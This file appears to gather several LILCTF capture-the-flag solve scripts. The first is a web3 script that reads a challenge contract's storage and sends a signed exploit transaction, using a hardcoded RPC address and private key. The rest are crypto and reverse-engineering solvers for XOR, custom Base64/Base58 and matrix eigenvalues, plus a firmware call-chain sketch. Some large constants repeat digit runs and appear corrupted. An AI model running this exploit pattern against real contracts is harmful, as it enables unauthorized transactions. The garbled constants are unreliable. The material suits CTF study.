import os
from web3 import Web3
from web3.exceptions import ContractLogicError
from eth_abi import encode
from eth_utils import keccak

RPC_URL = "http://106.15.138.99:8545/"
PRIVATE_KEY = "0xc842870712017b863efc650d0fda5ffd3b3f56248c51f1b34a4b009a0cdf82ac"
CONTRACT_ADDRESS = "0xb17b9BB32B58033c57194eA5ce35fb0e5b4BaaFA"

MINIMAL_ABI = [{"inputs": [], "name": "isSolved", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutility": "view", "type": "function"}]

def decode_storage_bytes(w3: Web3, contract_address: str, slot0: bytes) -> bytes:
    if slot0[-1] & 1 == 0:
        length = slot0[-1] >> 1
        return slot0[:length]
    else:
        length = (int.from_bytes(slot0, 'big') - 1) // 2
        data_start_slot = int.from_bytes(keccak(int.to_bytes(0, 32, 'big')), 'big')
        full_data = b''
        num_slots_to_read = (length + 31) // 32
        for i in range(num_slots_to_read):
            slot_content = w3.eth.get_storage_at(contract_address, data_start_slot + i)
            full_data += slot_content
        return full_data[:length]

def encrypt_treasure(treasure: bytes, key: bytes) -> bytes:
    print("[*] 正在使用最终的加密算法 (Key Shift then XOR)...")
    key_int = int.from_bytes(key, 'big')
    shifted_key_int = key_int << 161
    real_key = shifted_key_int.to_bytes(32, 'big')
    print(f"[*] 计算出的真实密钥 (32 bytes): {real_key.hex()}")
    payload = bytearray(len(treasure))
    key_len = 12
    for i in range(len(treasure)):
        key_byte = real_key[i % key_len]
        payload[i] = treasure[i] ^ key_byte
    return bytes(payload)

def main():
    w3 = Web3(Web3.HTTPProvider(RPC_URL))
    if not w3.is_connected():
        print("错误：无法连接到 RPC 节点！")
        return
    account = w3.eth.account.from_key(PRIVATE_KEY)
    sender_address = account.address
    print(f"[*] 使用账户: {sender_address}")
    checksum_contract_address = Web3.to_checksum_address(CONTRACT_ADDRESS)
    contract = w3.eth.contract(address=checksum_contract_address, abi=MINIMAL_ABI)
    is_solved_before = contract.functions.isSolved().call()
    print(f"[*] 攻击前, isSolved() 返回: {is_solved_before}")
    if is_solved_before:
        print("[*] 合约已解决，无需再次攻击。")
        return
    print("\n--- 开始构造 Payload ---")
    slot0_data = w3.eth.get_storage_at(checksum_contract_address, 0)
    print(f"[*] 读取 Storage Slot 0: {slot0_data.hex()}")
    treasure = decode_storage_bytes(w3, checksum_contract_address, slot0_data)
    print(f"[*] 解码后的 Treasure (长度: {len(treasure)} bytes): {treasure.hex()}")
    key = bytes.fromhex("35b2bcaf9a9b9b1c1b331ab3")
    payload = encrypt_treasure(treasure, key)
    print(f"[*] 计算出的 Payload (长度: {len(payload)} bytes): {payload.hex()}")
    selector = bytes.fromhex("5cc4d812")
    exploit_calldata = selector + encode(['bytes'], [payload])
    print(f"[*] 最终生成的 Calldata: {exploit_calldata.hex()}")
    print("--- Payload 构造完毕 ---\n")
    print("[*] 正在准备攻击交易...")
    try:
        tx_params = {
            'to': checksum_contract_address,
            'from': sender_address,
            'data': exploit_calldata,
            'nonce': w3.eth.get_transaction_count(sender_address),
            'chainId': w3.eth.chain_id
        }
        estimated_gas = w3.eth.estimate_gas(tx_params)
        print(f"[*] 自动估算 Gas: {estimated_gas}")
        tx_params['gas'] = int(estimated_gas * 1.2)
        tx_params['gasPrice'] = w3.eth.gas_price
        signed_tx = w3.eth.account.sign_transaction(tx_params, PRIVATE_KEY)
        tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
        print(f"[*] 交易已发送, 哈希: {tx_hash.hex()}")
        receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
        if receipt.status == 1:
            print("[+] 交易成功！")
        else:
            print("[-] 交易失败！")
    except ContractLogicError as e:
        print(f"[-] 交易失败！合约逻辑错误: {e}")
    except Exception as e:
        print(f"[-] 未知错误: {e}")
    is_solved_after = contract.functions.isSolved().call()
    print(f"[*] 攻击后, isSolved() 返回: {is_solved_after}")

if __name__ == "__main__":
    main()

from sage.all import *
from Crypto.Util.number import long_to_bytes

p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
C_flat = [7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645, 7096268905956462643320137667780334763649635657732499491108178913281913281913281913281913281913281913281913281913281, 73414300536061723296029114059057543867292246948534853485348534853485348534853485348534853485348534853485348534853485348534853485348534853485348534853485348534853485348534853485348534853485, 2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]

F = GF(p)
C = matrix(F, 2, 2, C_flat)
eigenvalues = C.eigenvalues()
print(f"找到的特征值: {eigenvalues}")
lambda1_recovered = int(eigenvalues[0])
lambda2_recovered = int(eigenvalues[1])
part1 = long_to_bytes(lambda1_recovered)
part2 = long_to_bytes(lambda2_recovered)
flag_part1 = part1 + part2
flag_part2 = part2 + part1
print(f"最终 Flag 1: LILCTF{{{flag_part1.decode()}}}")
print(f"最终 Flag 2: LILCTF{{{flag_part2.decode()}}}")

def solve_secret():
    filename = 'secret.bin'
    try:
        key = 'secret'.encode('utf-8')
        key_length = len(key)
        with open(filename, 'rb') as f:
            encrypted_data = f.read()
        decrypted_data = bytearray()
        for i in range(len(encrypted_data)):
            decrypted_byte = encrypted_data[i] ^ key[i % key_length]
            decrypted_data.append(decrypted_byte)
        try:
            final_string = decrypted_data.decode('utf-8')
            print(final_string)
        except UnicodeDecodeError:
            print("解密完成，但无法使用 UTF-8 解码为可读字符串。")
            print(decrypted_data)
    except FileNotFoundError:
        print(f"错误：文件 '{filename}' 不存在。")
    except Exception as e:
        print(f"发生了一个未知错误：{e}")

if __name__ == '__main__':
    solve_secret()

import base64
from collections import deque

tab1 = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"
tab2 = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
TRANS_TABLE = bytes.maketrans(tab1, tab2)

t0 = bytes([0x0D, 0x0E, 0x0F, 0x0C, 0x0B, 0x0A, 0x09, 0x08, 0x06, 0x07, 0x05, 0x04, 0x02, 0x03, 0x01, 0x00])
final = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"

standard_b64_string = final.encode('ascii').translate(TRANS_TABLE)
encrypted = base64.b64decode(standard_b64_string)
print(f"[*] 解码后的密文 (hex): {encrypted.hex()}")

EncryptedData = bytearray()
for i in range(0, len(encrypted), 3):
    chunk = encrypted[i:i+3]
    b0 = ((chunk[0] >> 3) | (chunk[0] << 5)) & 0xFF
    b1 = ((chunk[1] >> 7) | (chunk[1] << 1)) & 0xFF
    b2 = chunk[2]
    EncryptedData.extend([b0, b1, b2])

print(f"[*] 逆向旋转后的中间结果: {bytes(EncryptedData).hex()}")

def unshuffle_block(shuffled_block, shuffle_map):
    original_block = bytearray(16)
    if len(shuffle_map) != 16 or len(set(shuffle_map)) != 16 or max(shuffle_map) > 15:
        raise ValueError(f"Invalid shuffle map")
    inv = [0]*16
    for j, val in enumerate(shuffle_map):
        inv[val] = j
    for i in range(16):
        original_block[i] = shuffled_block[inv[i]]
    return bytes(original_block)

plaintext = b""
encrypted_blocks = [EncryptedData[i:i+16] for i in range(0, len(EncryptedData), 16)]
n = 0
for i, block in enumerate(encrypted_blocks):
    t_map = bytes([b ^ n for b in t0])
    after_xor = bytes([b ^ t for b, t in zip(block, t_map)])
    plain_block = unshuffle_block(after_xor, t_map)
    plaintext += plain_block
    n ^= i

print(f"[*] 完整明文 (ascii): {plaintext.decode(errors='ignore')}")

启动入口点 (0x60800000)
  ↓
硬件初始化 (sub_6080033C)
  ↓
主要初始化 (sub_60801810)
  ↓
初始化设置 (sub_60817844)
  ↓
初始化调用器 (sub_60859DEC)
  ↓
事件处理 (sub_60819F4C)
  ↓
事件分发器 (sub_60819E68)
  ↓
......
  ↓
sub_60813F74() - 密码验证函数

CUSTOM_ALPHABET = "".join([chr(i) for i in range(48, 106)])
CHAR_MAP = {char: index for index, char in enumerate(CUSTOM_ALPHABET)}

def base58_decode(encoded_string: str) -> bytes:
    large_int = 0
    for char in encoded_string:
        if char not in CHAR_MAP:
            raise ValueError(f"无效字符 '{char}'")
        value = CHAR_MAP[char]
        large_int = large_int * 58 + value
    decoded_bytes = large_int.to_bytes((large_int.bit_length() + 7) // 8, 'big')
    leading_zeros = 0
    for char in encoded_string:
        if char == CUSTOM_ALPHABET[0]:
            leading_zeros += 1
        else:
            break
    return b'\x00' * leading_zeros + decoded_bytes

def xor_decrypt(data: bytes, key: int) -> bytes:
    return bytes([b ^ key for b in data])

encrypted_string = "5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH;"
xor_key = 0x72

intermediate_data = base58_decode(encrypted_string)
print(f"[*] Base58 解码后 (hex): {intermediate_data.hex()}")
original_data = xor_decrypt(intermediate_data, xor_key)
print(f"[+] 最终解密结果: {original_data.decode('utf-8')}")